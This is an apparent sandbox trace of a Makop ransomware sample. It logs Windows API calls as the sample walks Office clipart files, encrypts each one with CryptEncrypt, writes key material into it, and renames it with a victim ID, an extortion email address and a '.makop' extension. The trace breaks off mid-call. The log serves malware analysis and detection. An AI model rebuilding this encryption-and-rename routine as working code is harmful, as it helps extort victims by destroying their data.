1 [0144.944] GetProcessHeap () returned 0x48a0000 [0144.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.944] GetProcessHeap () returned 0x48a0000 [0144.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.944] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.946] CloseHandle (hObject=0xf0) returned 1 [0144.946] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1 [0144.946] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF") returned 63 [0144.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.948] GetProcessHeap () returned 0x48a0000 [0144.948] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.948] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.953] GetProcessHeap () returned 0x48a0000 [0144.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.953] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.953] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.953] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.955] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.955] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.955] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1868, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1868, lpOverlapped=0x0) returned 1 [0144.956] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1870, dwBufLen=0x1870 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1870) returned 1 [0144.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1870, lpOverlapped=0x0) returned 1 [0144.957] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.957] SetEndOfFile (hFile=0xf0) returned 1 [0144.964] GetProcessHeap () returned 0x48a0000 [0144.964] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.964] GetProcessHeap () returned 0x48a0000 [0144.964] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.964] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.966] CloseHandle (hObject=0xf0) returned 1 [0144.966] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1 [0144.967] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF") returned 63 [0144.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.969] GetProcessHeap () returned 0x48a0000 [0144.969] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.969] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.973] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.973] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.973] GetProcessHeap () returned 0x48a0000 [0144.974] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.974] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.974] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.974] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.974] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.974] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.974] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.975] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.975] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.975] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.975] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.975] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.975] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9fc, lpOverlapped=0x0) returned 1 [0144.975] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa00, dwBufLen=0xa00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa00) returned 1 [0144.975] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.976] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa00, lpOverlapped=0x0) returned 1 [0144.976] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.976] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.976] SetEndOfFile (hFile=0xf0) returned 1 [0144.983] GetProcessHeap () returned 0x48a0000 [0144.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.983] GetProcessHeap () returned 0x48a0000 [0144.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.983] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.985] CloseHandle (hObject=0xf0) returned 1 [0144.985] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1 [0144.985] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 63 [0144.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.987] GetProcessHeap () returned 0x48a0000 [0144.987] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.987] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0144.991] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.991] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.991] GetProcessHeap () returned 0x48a0000 [0144.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.991] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.992] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.992] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.992] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.992] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.993] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.993] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.993] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x78a, lpOverlapped=0x0) returned 1 [0144.993] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790, dwBufLen=0x790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x790) returned 1 [0144.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.993] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x790, lpOverlapped=0x0) returned 1 [0144.993] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.993] SetEndOfFile (hFile=0xf0) returned 1 [0145.000] GetProcessHeap () returned 0x48a0000 [0145.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.000] GetProcessHeap () returned 0x48a0000 [0145.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.000] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.002] CloseHandle (hObject=0xf0) returned 1 [0145.002] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1 [0145.003] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF") returned 63 [0145.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.004] GetProcessHeap () returned 0x48a0000 [0145.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.004] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.005] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.005] GetProcessHeap () returned 0x48a0000 [0145.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.005] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.005] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.012] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.012] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.012] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1020, lpOverlapped=0x0) returned 1 [0145.014] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1020, dwBufLen=0x1020 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1020) returned 1 [0145.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.014] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, 